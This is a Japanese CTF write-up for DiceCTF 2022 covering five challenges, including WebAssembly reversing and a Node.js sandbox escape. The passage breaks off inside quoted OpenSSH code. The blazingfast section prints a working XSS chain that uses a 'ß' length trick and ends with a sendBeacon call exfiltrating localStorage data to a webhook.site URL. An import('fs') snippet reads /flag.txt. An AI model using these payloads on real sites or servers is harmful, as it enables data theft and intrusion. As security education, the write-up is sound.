DiceCTF 2022(2022年2月5日06:00~2022年2月7日06:00 JST)にチームKUDoSとして参加しました。順位は全体で28位でした。
- knock-knock (Web, 107pts)
- flagle (Rev, 120pts)
- blazingfast (Web, 140pts)
- undefined (Misc, 156pts)
- sober-bishop (Misc, 188pts)
knock-knock (Web, 107pts)
サーバー側のコードは次のようになっています。
const crypto = require('crypto'); class Database { constructor() { this.notes = []; this.secret = `secret-${crypto.randomUUID}`; } createNote({ data }) { const id = this.notes.length; this.notes.push(data); return { id, token: this.generateToken(id), }; } getNote({ id, token }) { if (token !== this.generateToken(id)) return { error: 'invalid token' }; if (id >= this.notes.length) return { error: 'note not found' }; return { data: this.notes[id] }; } generateToken(id) { return crypto .createHmac('sha256', this.secret) .update(id.toString()) .digest('hex'); } } const db = new Database(); db.createNote({ data: process.env.FLAG }); const express = require('express'); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.static('public')); app.post('/create', (req, res) => { const data = req.body.data ?? 'no data provided.'; const { id, token } = db.createNote({ data: data.toString() }); res.redirect(`/note?id=${id}&token=${token}`); }); app.get('/note', (req, res) => { const { id, token } = req.query; const note = db.getNote({ id: parseInt(id ?? '-1'), token: (token ?? '').toString(), }); if (note.error) { res.send(note.error); } else { res.send(note.data); } }); app.listen(3000, () => { console.log('listening on port 3000'); });
ノートを作成するとサーバー側で付与されたidを元にHMACでtokenを生成するようになっており、作成したノートにアクセスする際にはこのtokenを検証してノートの内容を表示するようになっています。
また、flagはサーバー起動時にノートとして追加されることが分かります。idはこれまでに作成されたノートの数に基づいて付与されるのでflagが書かれたノートのidは0が付与されています。
次に、tokenの生成方法を見てみます。
generateToken(id) { return crypto .createHmac('sha256', this.secret) .update(id.toString()) .digest('hex'); }
this.secret
は次のようにして設定されています。
this.secret = `secret-${crypto.randomUUID}`;
一見、this.secret
はcrypto.randomUUID
を利用して生成されているので、推測できないように見えますが、よく見てみると関数呼び出しに必要な()
が付いていません。
よって、this.secret
には実際には推測不可能な値ではなく、関数を文字列化したものを含む固定値が付与されています。
以上からtokenが推測できるようになったので、flagが書かれたノートを表示することができます。
flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
flagle (Rev, 120pts)
wordle風のflag当てゲームです。本家とは違い、1つの枠に5文字まで入力できるようになっています。GUESSボタンをクリックして、一致部分を緑で表示するのは本家と一緒です。flagとの一致を判定する部分のロジックはWebAssemblyになっています。
ChromeのDev Toolsを利用し、WASMファイルの逆アセンブル結果を表示して解析を進めます。
WebAssemblyでguess
という関数が宣言されており、ここがflagの判定部分のようです。ブレークポイントを設定するなどして値を表示しながら挙動を見ていくと、JavaScript側からはWebAssembly内で参照できるメモリを確保して、入力された文字列を格納していることが分かります。
また、guess
の呼び出しは、1つの枠に格納されている文字列ごとに行われていることが分かります。つまり、GUESSボタンをクリックすると、6回guess
が呼び出されます。1回のguess
につき、1つの枠内の文字列を参照して処理を進めているようです。
guess
の最初の部分を見てみます。変数に格納されている値を見ると、global0
には1つの枠に入力した文字列が配置されているメモリ上のアドレスが格納されています。Memory Inspectorを使用して対象のアドレス付近を表示すると、確か入力された文字列が格納されていました。また、blocklabel0
内のvar1
も同じ値が格納されており、これを引数としてfunc10
を呼び出しています。
(func $guess (;9;) (export "guess") (param $var0 i32) (param $var1 i32) (result i32) (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) global.get $global0 ;; 入力した文字列が格納されているアドレス i32.const 16 i32.sub local.tee $var2 global.set $global0 i32.const 2 local.set $var3 block $label0 local.get $var1 ;; 入力した文字列が格納されているアドレス call $func10 ;; func10呼び出し i32.const 5 i32.ne br_if $label0 ;; 5と一致しなければblockを抜ける ...(省略)
func10
の挙動を確認してみると、一番最後の部分で入力された文字列の先頭アドレスと末尾のアドレス+1の差を取って、スタックに積んでいる(返り値)ことが分かります。よって、func10
は文字列の長さを取得する関数であると考えられます。実際に入力した文字列の長さを変えてみると、結果が変わることが確認できました。
(func $func10 (param $var0 i32) (result i32) (local $var1 i32) (local $var2 i32) (local $var3 i32) ... (省略) local.get $var1 ;; 入力した文字列の先頭アドレス local.get $var0 ;; 入力した文字列の末尾アドレス+1 i32.sub )
guess
の先頭部分に戻って$func10
呼出し後を見てみると、スタック上の値(func10の返り値)を5と比較して、一致しない場合にはblockを抜けるようになっていることが分かります。よって、入力する文字列の長さが5の時に処理を続行できるようです。
続きの部分を見ると、次のようなblockが出現します。var1には文字列へのアドレスが格納されており、この値と1024を引数にとって関数streq
を呼び出しています。関数の名前から推測するに、文字列一致を確認する関数のようです。
block $label1 local.get $var1 ;; 文字列へのアドレス i32.const 1024 call $streq i32.eqz br_if $label1 local.get $var0 ;; 何番目の枠の文字列か i32.const 1 i32.ne local.set $var3 ;; 一致したかどうかを格納 br $label0 end $label1
実際に関数streq
の中の処理を追うと、引数の1024は、入力文字列との比較対象の文字列が格納されているアドレスとなっています。このアドレス付近を先程同様にMemory Inspectorで確認すると、dice{
が格納されていることが分かります。よって、flagの最初の5文字はdice{
であることが分かりました。
また、文字列が一致する場合には同じblock内の処理を続行し、そうでない場合はこのblockを抜けます。
同じblock内の続きの処理で使用するvar0
には何番目の枠かが格納されています。この値と1を比較して、一致したかどうかの情報をvar3
に格納して、blocklabel0
を抜けます。このvar3
はguessの返り値として利用され、これが入力文字列の判定情報としてJavaScript側で処理されます。
後々判明しますが、上記のような、想定されるflagの部分文字列であるかと、正しい位置の枠であるかを判定するような処理がこの後も続きます。guess
は6回呼び出されることで、6枠分それぞれに該当する部分の判定処理が実行されるような構造になっています。
また、1つの枠の判定処理はそれぞれ独立しているので、6枠分の処理に該当する部分それぞれについて解析すれば、flag全体の文字列を知ることができます。
先程のblocklabel1
内の処理が、6つの枠のうちの1番目の判定処理だったということになります。
次に2番目の枠の判定処理を見てみます。最初の部分のblocklabel2
に至るまでの処理は、入力された文字を一文字ずつ他の箇所に格納するような処理をしています。
blocklabel2
内では、先ほど格納された一文字ずつを取り出して一致判定を行っています。取り出す際に、どの文字が取り出されたのかを見ることで、どの位置にどの文字が格納されていれば判定が通るのか知ることができます。2番目の枠はF!3lD
であることが分かりました。
blocklabel3
内が3番目の枠の判定処理になります。この部分では、ASCIIコード同士の演算結果を利用して判定を行っています。
各演算結果の判定部分ごとに処理を区切ると次のようになります。それぞれ逆算すると、3番目の枠はd0Nu7
となりました。
block $label3 local.get $var1 i32.load8_s offset=1 local.tee $var5 local.get $var1 i32.load8_s local.tee $var3 i32.mul i32.const 4800 i32.ne ;; <1文字目> * <2文字目> = 4800 br_if $label3 local.get $var1 i32.load8_s offset=2 local.tee $var6 local.get $var3 i32.add i32.const 178 i32.ne ;; <1文字目> + <3文字目> = 178 br_if $label3 local.get $var6 ;; input[2][2] local.get $var5 ;; inpout[2][1] i32.add i32.const 126 i32.ne ;; <2文字目> + <3文字目> = 126 br_if $label3 local.get $var6 ;; input[2][2] local.get $var1 i32.load8_s offset=3 local.tee $var3 ;; var3 = input[2][3] i32.mul i32.const 9126 i32.ne ;; <3文字目> * <4文字目> = 9126 br_if $label3 local.get $var3 ;; input[2][3] local.get $var1 i32.load8_s offset=4 ;; input[2][4] local.tee $var5 ;; var5 = input[2][4] i32.sub i32.const 62 ;; <4文字目> - <5文字目> = 62 i32.ne br_if $label3 local.get $var6 i32.const 4800 i32.mul local.get $var5 local.get $var3 i32.mul i32.sub i32.const 367965 i32.ne ;; <3文字目> * 4800 - <5文字目> * <4文字目> = 367965 br_if $label3 local.get $var0 i32.const 3 i32.ne ;; 3番目の枠かどうか local.set $var3 br $label0 end $label3
4番目の枠の判定処理は次のようになっています。
block $label4 local.get $var1 call $env.validate_4 ;; env.validate_4呼び出し i32.eqz br_if $label4 local.get $var0 i32.const 4 i32.ne ;; 4番目の枠かどうか local.set $var3 br $label0 end $label4
env.validate_4
を呼び出して判定を行っています。ステップ実行で処理を追うと、env.validate4
はJavaScript側で実装されていることが分かります。
function validate_4(a){ return c(UTF8ToString(a)) == 0 ? 0 : 1; }
入力文字列を引数としてc
で判定処理をしているので、c
の実装を見てみます。
function c(b) { var e = { 'HLPDd': function(g, h) { return g === h; }, 'tIDVT': function(g, h) { return g(h); }, 'QIMdf': function(g, h) { return g - h; }, 'FIzyt': 'int', 'oRXGA': function(g, h) { return g << h; }, 'AMINk': function(g, h) { return g & h; } } , f = current_guess; try { let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d; } catch { return 0x1b3c + -0xc9 * 0x2f + -0x19 * -0x63; } }
tryブロックの中の次の処理が難読化されており、この部分がどのような挙動になっているのかを把握する必要がありそうです。
let g = e['HLPDd'](btoa(e['tIDVT'](intArrayToString, window[b](b[e['QIMdf'](f, 0x26f4 + 0x1014 + -0x3707 * 0x1)], e['FIzyt'])()['toString'](e['oRXGA'](e['AMINk'](f, -0x1a3 * -0x15 + 0x82e * -0x1 + -0x1a2d), 0x124d + -0x1aca + 0x87f))['match'](/.{2}/g)['map'](h=>parseInt(h, f * f)))), 'ZGljZQ==') ? -0x1 * 0x1d45 + 0x2110 + -0x3ca : -0x9 * 0x295 + -0x15 * -0x3 + 0x36 * 0x6d;
関数呼び出しを置き換えたり、数値の演算結果を適用して簡略化すると次のような処理になります。
let g = btoa(intArrayToString(window[b](b[3], 'int')().toString((f&4)<<2).match(/.{2}/g).map(h=>parseInt(h, f*f)))) === 'ZGljZQ==' ? 1 : 0;
まず、全体を見たときに、ZGljZQ==
という文字列をbtoa()
の実行結果と比較しています。このZGljZQ==
はdice
という文字列をBase64エンコードした結果です。よって、btoa()
の引数にはdice
という文字列が入れば良いことがわかります。
全体がintArrayToString
で囲まれているので、.match(/.{2}/g).map(h=>parseInt(h, f*f))
の結果は、dice
のASCIIコードの配列である[100, 105, 99, 101]
となることが予想されます。
.match(/.{2}/g)
の部分で文字列を2文字ずつに区切り、.map(h=>parseInt(h, f*f))
で区切られた文字をそれぞれ整数に変換しています。つまり、なにかしらの2文字をf*f
を基底とした変換をした結果が100
、105
などになることが分かります。f
の値はまだ確定していませんが、10進数では3桁の文字列から変換する必要があることから、4
となりf*f
の16
進数の文字列表現を整数に変換するものと予想します。
次に、window[b](b[3], 'int')()
の部分を見てみます。b
には入力文字列が格納されていますが、これをwindow
オブジェクトのプロパティ名として参照した結果を関数として呼び出しています。
b
は5文字であることがわかっているので、5文字からなるプロパティ名でwindow
に設定されている値を探します。ブレークポイントを設定し、次のようにして、この段階におけるwindow
オブジェクトの5文字のプロパティ名一覧を取得します。
Object.keys(window).filter(h=>h.length===5)
結果は次のようになりました。
[ "alert", "close", "fetch", "focus", "print", "quit_", "read_", "IDBFS", "ABORT", "ccall", "cwrap", "_free", "HEAP8", "abort" ]
この中から、b
に設定した際のwindow[b](b[3], 'int')()
の呼び出し結果を見てみると、cwrap
のときに1684628325
という数字が得られます。
先程予想した4
を利用して.toString((f&4)<<2).match(/.{2}/g).map(h=>parseInt(h, f*f))
を上記で得られた数字に適用すると、[100, 105, 99, 101]
となり、想定される結果と一致しました。よって、f
は4
が正しいことが分かりました。
以上の判定処理の結果、4番目の枠はcwrap
となることが分かりました。ただし、f
には試行の回数(GUESSボタンを押して判定をした回数)が入っていますが、4
が正しい値であることから、以下の画像のように、正しい文字を入力しても4回目の試行でしか正しいかどうかを判定してくれません。
次のblocklabel5
に至るまでの処理では、文字のコードに対する演算処理を行なった上で、メモリに格納しています。後ほどの5番目の枠の判定処理では、ここで格納された値を利用しています。
local.get $var1 i32.load8_u offset=4 local.set $var7 ;; var7 = <5文字目> local.get $var1 i32.load8_s offset=3 local.set $var6 ;; var6 = <4文字目> local.get $var1 i32.load8_s offset=2 local.set $var4 ;; var4 = <3文字目> local.get $var1 i32.load8_s offset=1 local.set $var5 ;; var5 = <2文字目> local.get $var2 local.get $var1 i32.load8_s local.tee $var1 i32.store8 offset=15 ;; var2[15] = <1文字目> local.get $var2 local.get $var5 i32.store8 offset=14 ;; var2[14] = <2文字目> local.get $var2 local.get $var4 i32.store8 offset=13 ;; var2[13] = <3文字目> local.get $var2 local.get $var6 i32.store8 offset=12 ;; var2[12] = <4文字目> local.get $var2 local.get $var2 i32.load8_u offset=15 i32.const 12 i32.add i32.store8 offset=15 ;; var2[15] += 12(1文字目) local.get $var2 local.get $var2 i32.load8_u offset=14 i32.const 4 i32.add i32.store8 offset=14 ;; var2[14] += 4(2文字目) local.get $var2 local.get $var2 i32.load8_u offset=13 i32.const 6 i32.add i32.store8 offset=13 ;; var2[13] += 6(3文字目) local.get $var2 local.get $var2 i32.load8_u offset=12 i32.const 2 i32.add i32.store8 offset=12 ;; var2[12] += 2(4文字目)
5番目の枠の判定処理部分は次のようになっています。2番目のときと同じように、メモリに格納された値を取り出して、その結果を特定の値と比較しています。
block $label5 local.get $var2 i32.load8_u offset=15 i32.const 121 i32.ne ;; var2[15] == 121 (<1文字目> == 109) br_if $label5 local.get $var2 i32.load8_u offset=14 i32.const 68 i32.ne ;; var2[14] == 68 (<2文字目> == 64) br_if $label5 local.get $var2 i32.load8_u offset=13 i32.const 126 i32.ne ;; var2[13] == 126 (<3文字目> == 120) br_if $label5 local.get $var2 i32.load8_u offset=12 local.set $var3 local.get $var7 i32.const 255 i32.and i32.const 77 i32.ne ;; <5文字目> == 77 br_if $label5 local.get $var3 i32.const 255 i32.and i32.const 35 i32.ne ;; var2[12] == 35 (<4文字目> == 33) br_if $label5 local.get $var0 i32.const 5 i32.ne ;; 5番目の枠かどうか local.set $var3 br $label0 end $label5
よって、5番目の枠はm@x!M
となることが分かりました。
6番目の枠は次のようになっています。3番目の枠の判定処理と同様に、主に文字コード同士の四則演算の結果を利用して判定をしています。5483743 = 2969 * 1847
、6431119 = 1597 * 4027
であることから、各文字を一意に特定できます。
i32.const 2 local.set $var3 local.get $var5 i32.const 2933 i32.add local.get $var1 i32.const 1763 i32.add i32.mul i32.const 5483743 i32.ne ;; (<2文字目>(36) + 2933) * (<1文字目>(84) + 1763) = 5483743 br_if $label0 local.get $var7 i32.const 255 i32.and i32.const 125 i32.ne ;; <5文字目> = 125 br_if $label0 local.get $var6 i32.const 1546 i32.add local.get $var4 i32.const 3913 i32.add i32.mul i32.const 6431119 i32.ne ;; (<4文字目>(51) + 1546) * (<3文字目>(114) + 3913) = 6431119 br_if $label0 local.get $var0 i32.const 6 i32.ne ;; 6番目の枠かどうか local.set $var3
よって、6番目の枠はT$r3}
となることが分かりました。
以上、全ての枠をつなぎ合わせることでflagになります。
flag: dice{F!3lDd0Nu7cwrapm@x!MT$r3}
他の方のwriteupをみると、逆コンパイルしてある程度読める形にしてからz3
で解く方法もあり、もっと楽に解析ができたようです。
blazingfast (Web, 140pts)
問題リンクを開くと、入力した文字列を1文字飛ばしで大文字に変換してくれるアプリのようです。処理はすべてブラウザ側のJavaScriptとWebAssemblyで動作しています。
ページのHTMLに埋め込まれているJavaScriptを抜き出すと次のようになっています。
let blazingfast = null; function mock(str) { blazingfast.init(str.length); if (str.length >= 1000) return 'Too long!'; for (let c of str.toUpperCase()) { if (c.charCodeAt(0) > 128) return 'Nice try.'; blazingfast.write(c.charCodeAt(0)); } if (blazingfast.mock() == 1) { return 'No XSS for you!'; } else { let mocking = '', buf = blazingfast.read(); while(buf != 0) { mocking += String.fromCharCode(buf); buf = blazingfast.read(); } return mocking; } } function demo(str) { document.getElementById('result').innerHTML = mock(str); } WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => { blazingfast = instance.exports; document.getElementById('demo-submit').onclick = () => { demo(document.getElementById('demo').value); } let query = new URLSearchParams(window.location.search).get('demo'); if (query) { document.getElementById('demo').value = query; demo(query); } })
関数demo
内にの処理にXSSがあります。
function demo(str) { document.getElementById('result').innerHTML = mock(str); }
関数mock
内では、blazingfast
に実装された各種関数を呼び出して、文字列の処理を行います。
blazingfast
でアクセスできる各種関数はWebAssemblyで実装されており、問題の添付ファイル中に次に示すコンパイル前のソースコードも提供されています。
int length, ptr = 0; char buf[1000]; void init(int size) { length = size; ptr = 0; } char read() { return buf[ptr++]; } void write(char c) { buf[ptr++] = c; } int mock() { for (int i = 0; i < length; i ++) { if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) { buf[i] += 32; } if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') { return 1; } } ptr = 0; return 0; }
以上から関数mock
の処理としては、引数の文字列を大文字に変換した上で、一文字ずつWebAssembly側でメモリに格納した後、一文字おきに小文字に戻す処理を実行し、メモリに書き戻しています。最終的にメモリに書き戻された値をJavaScript側で読み取って関数demo
内でDOMに描画しています。また、大文字変換の際にHTMLタグの一部となる<>&"
が含まれる場合には、エラーが表示され結果がDOMに描画されず、単純にHTMLタグを入力しただけではXSSは成立しません。
WebAssembly側の変換と判定処理においては、文字列の長さとしてJavaScript側から与えられたstr.length
を利用していますが、文字列をメモリに格納する際にはstr.toUpperCase()
の結果を一文字ずつ格納しています。
ここで、ß
という文字をtoUpperCase()
で処理すると、SS
という2文字になることを利用します。つまり、ß
が含まれていることで、<>&"
が含まれているかどうかの判定処理を適用する文字長が、入力された文字の長さよりも短くなってしまい、判定処理漏れが出てしまいます。
これを利用して、入力の前半をß
を埋め、後半をXSSのペイロードにすることで攻撃が成立します。ただし、DOMに描画される結果は大文字となってしまうことに注意する必要があります。
大文字となってしまってペイロードが動かなくなるのを避けるため、できるだけアルファベットを利用しないようにします。JSFuckの手法を応用して、数字と記号だけでペイロードを組み立てます。実行したいコードは、できるだけペイロードが短くなるように、かつ後から実行したいコードが変更になっても構わないように[]["filter"]["constructor"]('eval(name)')()
とします。次のようなペイロードとなりました。
_1=!1+'';_2=!0+'';_3=(!0)[0]+'';_4=[][_1[0]+_3[5]+_1[2]+_2[0]+_1[4]+_2[1]];_5=_4+'';_6=_5[3]+_5[6]+_5[2]+_1[3]+_2[0]+_2[1]+_3[0]+_5[3]+_2[0]+_5[6]+_2[1];_4[_6](_1[4]+_5[25]+_1[1]+_1[2]+'('+_3[1]+_1[1]+((+[])[_6]+'')[11]+_2[3]+')')()"
次に、任意の値をwindow.name
に設定できるようにする必要があります。今回の問題では、Admin Botが指定したURLにアクセスしますが、問題のドメイン以下のページのURLしか指定することができません。よって、まず最初にmetaタグによるリダイレクト先で、window.name
を設定して元の問題のドメインにリダイレクトするようにします。
次のような値の前にß
を大量に付加した上で、demo
をキーとしたクエリに指定して、Admin BotにURLを送信します。HTMLのタグやhttps://example.com/
の部分は大文字になっても、小文字の時と同様に動作します。
<meta http-equiv="refresh" content="0;URL=https://example.com/X.HTML">
後は、navigator.sendBeacon("https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a", localStorage.getItem("flag"))
をwindow.name
に設定し、先ほど作成したXSSのペイロードを実行するページへリダイレクトするような、X.HTML
を作成して設置します。
<!DOCTYPE html> <html> <head></head> <body> <script> window.name='navigator.sendBeacon("https://webhook.site/a6d9a28a-96cf-4da7-a15e-ac9135b2ae6a", localStorage.getItem("flag"))' location.href="https://blazingfast.mc.ax/?demo=%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%3Cimg%20src%3Dx%20onerror%3D%22_1%3D!1%2B''%3B_2%3D!0%2B''%3B_3%3D(!0)%5B0%5D%2B''%3B_4%3D%5B%5D%5B_1%5B0%5D%2B_3%5B5%5D%2B_1%5B2%5D%2B_2%5B0%5D%2B_1%5B4%5D%2B_2%5B1%5D%5D%3B_5%3D_4%2B''%3B_6%3D_5%5B3%5D%2B_5%5B6%5D%2B_5%5B2%5D%2B_1%5B3%5D%2B_2%5B0%5D%2B_2%5B1%5D%2B_3%5B0%5D%2B_5%5B3%5D%2B_2%5B0%5D%2B_5%5B6%5D%2B_2%5B1%5D%3B_4%5B_6%5D(_1%5B4%5D%2B_5%5B25%5D%2B_1%5B1%5D%2B_1%5B2%5D%2B'('%2B_3%5B1%5D%2B_1%5B1%5D%2B((%2B%5B%5D)%5B_6%5D%2B'')%5B11%5D%2B_2%5B3%5D%2B')')()%22%3E" </script> </body> </html>
flag: dice{1_dont_know_how_to_write_wasm_pwn_s0rry}
後で見たDiscordで気が付いたのですが、XSSのペイロードで上記のような面倒な作成方法をする必要はなく、e
のようなHTML Entitiesを使用すればアルファベットの利用を避けることができました。
undefined (Misc, 156pts)
サーバーに送信したJavaScriptのコードをnode.jsで実行してくれます。
サーバー側のコードは次のようになっています。グローバル変数がundefined
に設定されたブロック内でコードを実行します。
#!/usr/local/bin/node // don't mind the ugly hack to read input console.log("What do you want to run?"); let inpBuf = Buffer.alloc(2048); const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8"); inpBuf = undefined; Function.prototype.constructor = undefined; (async () => {}).constructor.prototype.constructor = undefined; (function*(){}).constructor.prototype.constructor = undefined; (async function*(){}).constructor.prototype.constructor = undefined; for (const key of Object.getOwnPropertyNames(global)) { if (["global", "console", "eval"].includes(key)) { continue; } global[key] = undefined; delete global[key]; } delete global.global; process = undefined; { let AbortController = undefined; let AbortSignal = undefined; let AggregateError = undefined; let Array = undefined; let ArrayBuffer = undefined; let Atomics = undefined; let BigInt = undefined; let BigInt64Array = undefined; let BigUint64Array = undefined; let Boolean = undefined; let Buffer = undefined; let DOMException = undefined; let DataView = undefined; let Date = undefined; let Error = undefined; let EvalError = undefined; let Event = undefined; let EventTarget = undefined; let FinalizationRegistry = undefined; let Float32Array = undefined; let Float64Array = undefined; let Function = undefined; let Infinity = undefined; let Int16Array = undefined; let Int32Array = undefined; let __dirname = undefined; let Int8Array = undefined; let Intl = undefined; let JSON = undefined; let Map = undefined; let Math = undefined; let MessageChannel = undefined; let MessageEvent = undefined; let MessagePort = undefined; let NaN = undefined; let Number = undefined; let Object = undefined; let Promise = undefined; let Proxy = undefined; let RangeError = undefined; let ReferenceError = undefined; let Reflect = undefined; let RegExp = undefined; let Set = undefined; let SharedArrayBuffer = undefined; let String = undefined; let Symbol = undefined; let SyntaxError = undefined; let TextDecoder = undefined; let TextEncoder = undefined; let TypeError = undefined; let URIError = undefined; let URL = undefined; let URLSearchParams = undefined; let Uint16Array = undefined; let Uint32Array = undefined; let Uint8Array = undefined; let Uint8ClampedArray = undefined; let WeakMap = undefined; let WeakRef = undefined; let WeakSet = undefined; let WebAssembly = undefined; let _ = undefined; let exports = undefined; let _error = undefined; let assert = undefined; let async_hooks = undefined; let atob = undefined; let btoa = undefined; let buffer = undefined; let child_process = undefined; let clearImmediate = undefined; let clearInterval = undefined; let clearTimeout = undefined; let cluster = undefined; let constants = undefined; let crypto = undefined; let decodeURI = undefined; let decodeURIComponent = undefined; let dgram = undefined; let diagnostics_channel = undefined; let dns = undefined; let domain = undefined; let encodeURI = undefined; let encodeURIComponent = undefined; let arguments = undefined; let escape = undefined; let events = undefined; let fs = undefined; let global = undefined; let globalThis = undefined; let http = undefined; let http2 = undefined; let https = undefined; let inspector = undefined; let isFinite = undefined; let isNaN = undefined; let module = undefined; let net = undefined; let os = undefined; let parseFloat = undefined; let parseInt = undefined; let path = undefined; let perf_hooks = undefined; let performance = undefined; let process = undefined; let punycode = undefined; let querystring = undefined; let queueMicrotask = undefined; let readline = undefined; let repl = undefined; let require = undefined; let setImmediate = undefined; let setInterval = undefined; let __filename = undefined; let setTimeout = undefined; let stream = undefined; let string_decoder = undefined; let structuredClone = undefined; let sys = undefined; let timers = undefined; let tls = undefined; let trace_events = undefined; let tty = undefined; let unescape = undefined; let url = undefined; let util = undefined; let v8 = undefined; let vm = undefined; let wasi = undefined; let worker_threads = undefined; let zlib = undefined; let __proto__ = undefined; let hasOwnProperty = undefined; let isPrototypeOf = undefined; let propertyIsEnumerable = undefined; let toLocaleString = undefined; let toString = undefined; let valueOf = undefined; console.log(eval(input)); }
しかし、import()
が使えてしまうため、次のようなコードを実行すればフラグを取得できました。
import('fs').then(fs => { fs.writeSync(1, fs.readFileSync('/flag.txt')) })
作者によると、やはり上記は非想定解だったようで、想定解はargumentsからrequire
にアクセスする方法でした。
sober-bishop (Misc, 188pts)
以下のような内容の2つのテキストファイルが与えられます。OpenSSLを使ってSSHの鍵を生成するときなどに表示される文字アートです。記載されている説明を見るに、上がフラグの文字列から生成されたもの、下がフラグのmd5ハッシュから生成されたもののようです。
+----[THIS IS]----+ | o o+++| | + . .=*E| | B . . oo=| | = . . .+ | | S | | | | | | | | | +---[THE FLAG]----+
+----[THIS IS]----+ | .E=. | | o.. | | o .. | | o o. | | O .S | | o B | | o o | | ... B | | +=.= . | +---[md5(FLAG)]---+
問題文で上記生成のための実装部分のリンクが与えられているので見てみます。
実装としては、17×8のフィールドのマスごとに設定された値に基づいてどの文字を描画するのかを決定します。マスごとの値の初期値は0となっており、与えられたバイト列の下位から2ビットずつの値を元にxとyを移動させ、そのたびに位置xyのマスの値を1増加させます。xyの初期値はフィールドの中央(x=8, y=4)です。また、初期xyの位置と最終的なxyの位置のマスにはどのような値かに関わらず、特定の文字が描画されます。
#define FLDBASE 8 #define FLDSIZE_Y (FLDBASE + 1) #define FLDSIZE_X (FLDBASE * 2 + 1) static char * fingerprint_randomart(const char *alg, u_char *dgst_raw, size_t dgst_raw_len, const struct sshkey *k) { /* * Chars to be used after each other every time the worm * intersects with itself. Matter of taste. */ char *augmentation_string = " .o+=*BOX@%&#/^SE"; char *retval, *p, title[FLDSIZE_X], hash[FLDSIZE_X]; u_char field[FLDSIZE_X][FLDSIZE_Y]; size_t i, tlen, hlen; u_int b; int x, y, r; size_t len = strlen(augmentation_string) - 1; if ((retval = calloc((FLDSIZE_X + 3), (FLDSIZE_Y + 2))) == NULL) return NULL; /* initialize field */ memset(field, 0, FLDSIZE_X * FLDSIZE_Y * sizeof(char)); x = FLDSIZE_X / 2; y = FLDSIZE_Y / 2; /* process raw key */ for (i = 0; i < 